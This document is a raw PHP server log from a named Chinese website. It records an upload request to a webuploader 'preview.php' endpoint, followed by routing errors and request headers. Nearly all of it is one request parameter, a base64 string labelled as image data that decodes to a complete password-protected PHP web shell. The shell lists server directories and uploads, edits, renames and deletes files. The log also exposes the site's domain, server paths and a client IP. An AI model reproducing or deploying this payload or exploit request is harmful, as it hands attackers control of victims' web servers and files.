'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:20+08:00 ] 116.213.36.234 POST www.51tianwei.com/webuploader/0.1.15/server/preview.php [运行时间:0.003631s] [吞吐率:275.40req/s] [内存消耗:196.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'webuploader', 2 => '0.1.15', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 